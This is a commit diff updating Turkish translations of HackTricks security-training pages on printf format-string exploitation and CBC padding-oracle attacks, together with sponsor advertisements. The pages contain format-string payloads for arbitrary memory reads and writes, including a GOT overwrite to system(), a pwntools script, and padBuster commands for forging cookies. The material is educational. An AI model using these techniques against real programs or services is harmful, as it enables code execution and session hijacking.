Translated ['README.md', 'binary-exploitation/format-strings/README.md',

This commit is contained in:
Translator 2024-11-09 13:28:32 +00:00
parent 636a61051d
commit 61993d7c19
43 changed files with 1245 additions and 856 deletions

View file

@ -20,7 +20,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **birçok değerli siber güvenlik hizmeti** sunmak için kendi hacking araçlarını geliştirir, bunlar arasında pentesting, Kırmızı takımlar ve eğitim bulunmaktadır.
[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **pentesting, Kırmızı takımlar ve eğitim** gibi birk değerli siber güvenlik hizmeti sunmak için kendi hacking araçlarını geliştirir.
**Bloglarını** [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinde kontrol edebilirsiniz.
@ -32,7 +32,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com), **İspanya'daki** en önemli siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
@ -44,7 +44,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
**Intigriti**, **Avrupa'nın #1** etik hacking ve **bug bounty platformudur.**
**Bug bounty ipucu**: **Intigriti**'ye **kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -71,7 +71,7 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
* **Hacking İçgörüleri:** Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
* **Gerçek Zamanlı Hack Haberleri:** Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
* **Son Duyurular:** Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
* **Son Duyurular:** Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinde ve bugün en iyi hackerlarla iş birliği yapmaya başlayın!
@ -79,12 +79,14 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Temel penetrasyon testi aracı seti
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
\
{% endembed %}
@ -96,12 +98,12 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
**SerpApi**, **arama motoru sonuçlarına** erişim sağlamak için hızlı ve kolay gerçek zamanlı API'ler sunar. Arama motorlarını tarar, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır.
SerpApi'nın planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla farklı API'ye erişim içerir.\
SerpApi'nin planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla API'ye erişim içerir.\
Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları taramaz**. SerpApi yanıtları, arama sonuçlarında bulunan tüm reklamları, satır içi resimleri ve videoları, bilgi grafikleri ve diğer öğeleri ve özellikleri sürekli olarak içerir.
Mevcut SerpApi müşterileri arasında **Apple, Shopify ve GrubHub** bulunmaktadır.\
Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın veya [**oyun alanlarında**](https://serpapi.com/playground) bir örnek deneyin.\
**Buradan** [**ücretsiz bir hesap oluşturabilirsiniz**](https://serpapi.com/users/sign\_up)**.**
**Buradan** [**ücretsiz bir hesap**](https://serpapi.com/users/sign\_up) oluşturabilirsiniz.**
***
@ -111,11 +113,11 @@ Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın v
[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **dünyanın dört bir yanındaki** işletmeleri en son siber güvenlik tehditlerine karşı korumaya yardımcı olmak için **ofansif güvenlik hizmetleri** sunmaktadır.
WebSec, pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını içeren **hepsi bir arada güvenlik şirketidir**.
WebSec, **her şeyi yapan** bir **hepsi bir arada güvenlik şirketidir**; Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını yapar.
WebSec'in bir diğer ilginç yanı, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
WebSec hakkında başka bir harika şey, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
Yukarıdakilere ek olarak WebSec, **HackTricks'in kararlı bir destekçisidir.**
Yukarıdakilere ek olarak WebSec, **HackTricks'in de kararlı bir destekçisidir.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
@ -140,7 +142,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src=".gitbook/assets/grte.png" al
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking hilelerini paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>

View file

@ -9,19 +9,26 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Temel Bilgiler
C'de **`printf`** bazı metinleri **yazdırmak** için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **formatlayıcılarla birlikte ham metin**'dir. Beklenen **sonraki parametreler**, ham metindeki **formatlayıcıları** **değiştirmek için** **değerler**'dir.
Diğer savunmasız fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir.
Zafiyet, bir **saldırgan metni bu fonksiyona ilk argüman olarak kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adreste (okunabilir/yazılabilir)** **herhangi bir veriyi okumak ve yazmak için** özel bir **girdi oluşturma** yeteneğine sahip olacaktır. Bu şekilde **rastgele kod çalıştırma** imkanı bulur.
Zafiyet, bir **saldırgan metni bu fonksiyona ilk argüman olarak kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adreste (okunabilir/yazılabilir)** **herhangi bir veriyi okumak ve yazmak için** özel bir girdi oluşturabilecektir. Bu şekilde **rastgele kod çalıştırma** yeteneğine sahip olacaktır.
#### Formatlayıcılar:
```bash
@ -66,7 +73,7 @@ return 0;
```
### **Pointer'lara Erişim**
Format **`%<n>$x`**, burada `n` bir sayı, printf'e n parametresini (stack'ten) seçmesini belirtir. Yani, printf kullanarak stack'ten 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
Format **`%<n>$x`**, burada `n` bir sayı, printf'e yığın (stack) içinden n parametresini seçmesini belirtir. Yani, printf kullanarak yığından 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
```c
printf("%x %x %x %x")
```
@ -78,7 +85,7 @@ printf("%4$x")
```
ve doğrudan dördüncüyü okuyun.
Saldırganın `printf` **parametresini kontrol ettiğini unutmayın, bu temelde** onun girdiğinin `printf` çağrıldığında yığın içinde olacağı anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir.
Saldırganın `printf` **parametresini kontrol ettiğini unutmayın, bu temelde** onun girdiğinin `printf` çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir.
{% hint style="danger" %}
Bu girişi kontrol eden bir saldırgan, **yığında keyfi adres ekleyebilecek ve `printf`'in bunlara erişmesini sağlayabilecektir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağııklanacaktır.
@ -86,7 +93,7 @@ Bu girişi kontrol eden bir saldırgan, **yığında keyfi adres ekleyebilecek v
## **Keyfi Okuma**
Biçimlendiriciyi **`%n$s`** kullanarak **`printf`'in** **n pozisyonunda** bulunan **adres**i alması ve **bunu bir dizeymiş gibi yazdırması** (0x00 bulunana kadar yazdır) mümkündür. Yani, ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür:
Formatlayıcı **`%n$s`** kullanarak **`printf`**'in **n pozisyonunda** bulunan **adres**i alması ve **bunu bir dizeymiş gibi yazdırması** (0x00 bulunana kadar yazdırma) mümkündür. Yani, eğer ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür:
```python
from pwn import *
@ -105,7 +112,7 @@ Girişin başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü di
### Ofseti Bul
Girişinizin ofsetini bulmak için 4 veya 8 bayt (`0x41414141`) gönderebilir ve ardından **`%1$x`** ile **arttırarak** `A'ları` alana kadar değeri artırabilirsiniz.
Girişinizin ofsetini bulmak için 4 veya 8 bayt (`0x41414141`) gönderebilir ve ardından **`%1$x`** ile değeri **artırarak** `A'ları` alana kadar devam edebilirsiniz.
<details>
@ -144,21 +151,21 @@ p.close()
Rastgele okumalar şunlar için faydalı olabilir:
* **Bellekten** **ikili** **veriyi** **dökme**
* **Hassas** **bilgilerin** saklandığı **belleğin belirli kısımlarına** erişim sağlama (örneğin, bu [**CTF zorluğu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) gibi canary'ler, şifreleme anahtarları veya özel şifreler)
* **Bellekten** **ikili** **dosyayı** **dökme**
* **Hassas** **bilgilerin** saklandığı **belleğin belirli kısımlarına** **erişim** sağlama (örneğin, canary'ler, şifreleme anahtarları veya bu [**CTF zorluğu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) gibi özel şifreler)
## **Rastgele Yazma**
Formatlayıcı **`%<num>$n`** **yazılan bayt sayısını** **belirtilen adrese** **yazar**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`** ile rastgele bir sayıyı rastgele bir adrese yazabilecektir.
Formatlayıcı **`%<num>$n`** **yazılan baytların sayısını** **belirtilen adrese** **yazar**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`**'nin rastgele bir sayıyı rastgele bir adrese yazmasını sağlayabilir.
Neyse ki, 9999 sayısını yazmak için girdiye 9999 "A" eklemek gerekmez, bu nedenle **`%.<num-write>%<num>$n`** formatlayıcısını kullanarak **`<num-write>`** sayısını **`num` pozisyonu tarafından gösterilen adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), **`$hn`** kullanılır, **`$n`** yerine. Bu, **sadece 2 Bayt** yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük 2B'si için.
Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), **`$hn`** kullanılır. Bu, **sadece 2 Bayt** yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük olanlar için.
Bu nedenle, bu zafiyet **herhangi bir adrese (keyfi yazma)** **herhangi bir şeyi yazmaya** olanak tanır.
Bu nedenle, bu zafiyet **herhangi bir adrese (keyfi yazma)** **yazma** olanağı sağlar.
Bu örnekte, hedef, daha sonra çağrılacak olan **GOT** tablosundaki bir **fonksiyonun** **adresini** **üst üste yazmak** olacaktır. Bu, diğer keyfi yazma ile exec tekniklerini kötüye kullanabilir:
@ -166,13 +173,13 @@ Bu örnekte, hedef, daha sonra çağrılacak olan **GOT** tablosundaki bir **fon
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
Bir **fonksiyonu** **üst üste yazacağız** ki bu **kullanıcıdan** **argümanlarını** **alır** ve **`system`** **fonksiyonuna** **işaret eder**.\
Yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2 Bayt'ı. Bunu yapmak için **`$hn`** kullanılır.
Bir **fonksiyonu** **üst üste yazacağız** ki bu **fonksiyon**, **kullanıcıdan** **argümanlarını** **alır** ve **`system`** **fonksiyonuna** **işaret eder**.\
Belirtildiği gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır.
* **HOB**, adresin en yüksek 2 Bayt'ına çağrılır
* **LOB**, adresin en düşük 2 Bayt'ına çağrılır
* **HOB**, adresin 2 yüksek baytına çağrılır
* **LOB**, adresin 2 düşük baytına çağrılır
Daha sonra, format dizesinin nasıl çalıştığı nedeniyle, önce \[HOB, LOB] içindeki en küçüğü **yazmanız** gerekir ve sonra diğerini.
Daha sonra, format dizesinin nasıl çalıştığı nedeniyle, önce \[HOB, LOB] içindeki en küçüğü **yazmanız** ve ardından diğerini yazmanız gerekir.
Eğer HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -225,23 +232,27 @@ Bir format string zafiyetinin yazma eylemlerini kötüye kullanarak **stack adre
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bit, relro yok, canary yok, nx, pie yok, stack'ten flag'i sızdırmak için format string'lerin temel kullanımı (işlem akışını değiştirmeye gerek yok)
* 32 bit, no relro, no canary, nx, no pie, format string kullanarak stack'ten flag'i sızdırmak için temel kullanım (çalışma akışını değiştirmeye gerek yok)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro var, canary yok, nx, pie yok, `fflush` adresini win fonksiyonu ile (ret2win) üzerine yazmak için format string
* 32 bit, relro, no canary, nx, no pie, `fflush` adresini win fonksiyonu ile (ret2win) üzerine yazmak için format string
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro var, canary yok, nx, pie yok, `.fini_array` içinde main'e bir adres yazmak için format string (böylece akış bir kez daha döner) ve `strlen`'a işaret eden GOT tablosundaki `system` adresini yazmak. Akış main'e geri döndüğünde, kullanıcı girişi ile `strlen` çalıştırılır ve `system`'a işaret eder, geçilen komutları çalıştırır.
* 32 bit, relro, no canary, nx, no pie, `.fini_array` içinde main'e bir adres yazmak için format string (böylece akış bir kez daha döner) ve `strlen`'a işaret eden GOT tablosundaki `system` adresini yazmak. Akış main'e döndüğünde, kullanıcı girişi ile `strlen` çalıştırılır ve `system`'a işaret eder, geçilen komutları çalıştırır.
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -10,14 +10,18 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining
CBC modunda **önceki şifreli blok, bir sonraki blokla XOR'lamak için IV olarak kullanılır**:
CBC modunda **önceki şifreli blok IV olarak kullanılır** ve bir sonraki blokla XOR yapılır:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
@ -25,7 +29,7 @@ CBC'yi deşifre etmek için **ters** **işlemler** yapılır:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
**Şifreleme** **anahtarı** ve bir **IV** kullanmanın gerekli olduğunu unutmayın.
Bir **şifreleme** **anahtarı** ve bir **IV** kullanmanın gerekli olduğunu unutmayın.
## Mesaj Doldurma
@ -71,13 +75,13 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
```
### Teori
**Özetle**, tüm **farklı padding'leri** oluşturmak için kullanılabilecek doğru değerleri tahmin ederek şifrelenmiş verileri çözmeye başlayabilirsiniz. Ardından, padding oracle saldırısı, 1, 2, 3, vb. **padding'leri oluşturan** doğru değeri tahmin ederek son byte'dan başlayarak byte'ları çözmeye başlayacaktır.
**Özetle**, tüm **farklı padding'leri** oluşturmak için kullanılabilecek doğru değerleri tahmin ederek şifrelenmiş verileri çözmeye başlayabilirsiniz. Ardından, padding oracle saldırısı, 1, 2, 3, vb. **padding'leri oluşturan doğru değerin** ne olacağını tahmin ederek son byte'dan başlayarak byte'ları çözmeye başlayacaktır.
![](<../.gitbook/assets/image (561).png>)
Şifrelenmiş ve **E0'dan E15'e** kadar olan byte'ları içeren **2 blok**'a sahip olduğunuzu hayal edin.\
**Son** **blok**'u (**E8**'den **E15**'e) **çözmek** için, tüm blok "blok şifre çözme" işleminden geçerek **aracı byte'lar I0'dan I15'e** oluşturur.\
Son olarak, her aracı byte, önceki şifrelenmiş byte'larla (E0'dan E7'ye) **XOR'lanır**. Yani:
Şifrelenmiş ve **E0'dan E15'e** kadar olan byte'ları içeren **2 blok** olduğunu hayal edin.\
**Son** **blok**u (**E8**'den **E15**'e) **çözmek** için, tüm blok "blok şifre çözme" işleminden geçerek **I0'dan I15'e kadar olan ara byte'ları** oluşturur.\
Son olarak, her ara byte, önceki şifrelenmiş byte'larla (E0'dan E7'ye) **XOR'lanır**. Yani:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@ -85,7 +89,7 @@ Son olarak, her aracı byte, önceki şifrelenmiş byte'larla (E0'dan E7'ye) **X
* `C12 = I12 ^ E4`
* ...
Artık **`E7`'yi `C15`'in `0x01`** olana kadar **değiştirmek** mümkündür, bu da doğru bir padding olacaktır. Bu durumda: `\x01 = I15 ^ E'7`
Artık **C15'in `0x01`** olana kadar **`E7`'yi değiştirmek** mümkündür, bu da doğru bir padding olacaktır. Bu durumda: `\x01 = I15 ^ E'7`
E'7'yi bulduğunuzda, **I15'i hesaplamak** mümkündür: `I15 = 0x01 ^ E'7`
@ -93,7 +97,7 @@ Bu da **C15'i hesaplamamıza** olanak tanır: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15**'i bildiğinizde, şimdi **C14'ü hesaplamak** mümkündür, ancak bu sefer padding'i `\x02\x02` ile brute-force yaparak.
Bu BF, `E''15` değerinin 0x02 olduğu hesaplanabildiği için önceki kadar karmaşıktır: `E''7 = \x02 ^ I15`, bu nedenle sadece **`E'14`**'ü bulmak gerekir ki bu da **`C14`'ün `0x02`**'ye eşit olmasını sağlar.\
Bu BF, `E''15` değerinin 0x02 olduğu hesaplanabildiği için önceki kadar karmaşıktır: `E''7 = \x02 ^ I15`, bu nedenle sadece **`E'14`**'ü bulmak gerekir ki bu da **`C14`'ün `0x02`'ye eşit olmasını** sağlar.\
Ardından, C14'ü çözmek için aynı adımları izleyin: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Tüm şifrelenmiş metni çözene kadar bu zinciri takip edin.**
@ -101,15 +105,19 @@ Ardından, C14'ü çözmek için aynı adımları izleyin: **`C14 = E6 ^ I14 = E
### Açığın Tespiti
Bir hesap kaydedin ve bu hesapla giriş yapın.\
Eğer **birçok kez giriş yaparsanız** ve her seferinde **aynı çerezi** alıyorsanız, uygulamada muhtemelen **bir sorun** vardır. **Geri gönderilen çerez her seferinde benzersiz olmalıdır.** Eğer çerez **her zaman** **aynıysa**, muhtemelen her zaman geçerli olacaktır ve onu **geçersiz kılmanın bir yolu olmayacaktır.**
Eğer **birçok kez giriş yaparsanız** ve her seferinde **aynı çerezi** alıyorsanız, uygulamada muhtemelen **bir sorun** vardır. **Geri gönderilen çerez her seferinde benzersiz olmalıdır.** Eğer çerez **her zaman** **aynıysa**, muhtemelen her zaman geçerli olacaktır ve onu geçersiz kılmanın bir yolu **olmayacaktır.**
Artık çerezi **değiştirmeyi** denerken, uygulamadan bir **hata** aldığınızı görebilirsiniz.\
Ama padding'i BF yaparsanız (örneğin padbuster kullanarak) farklı bir kullanıcı için geçerli başka bir çerez elde etmeyi başarırsınız. Bu senaryo, padbuster'a karşı yüksek ihtimalle savunmasızdır.
Ancak padding'i BF yaparsanız (örneğin padbuster kullanarak) farklı bir kullanıcı için geçerli başka bir çerez elde etmeyi başarabilirsiniz. Bu senaryo, padbuster'a karşı yüksek ihtimalle savunmasızdır.
### Referanslar
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
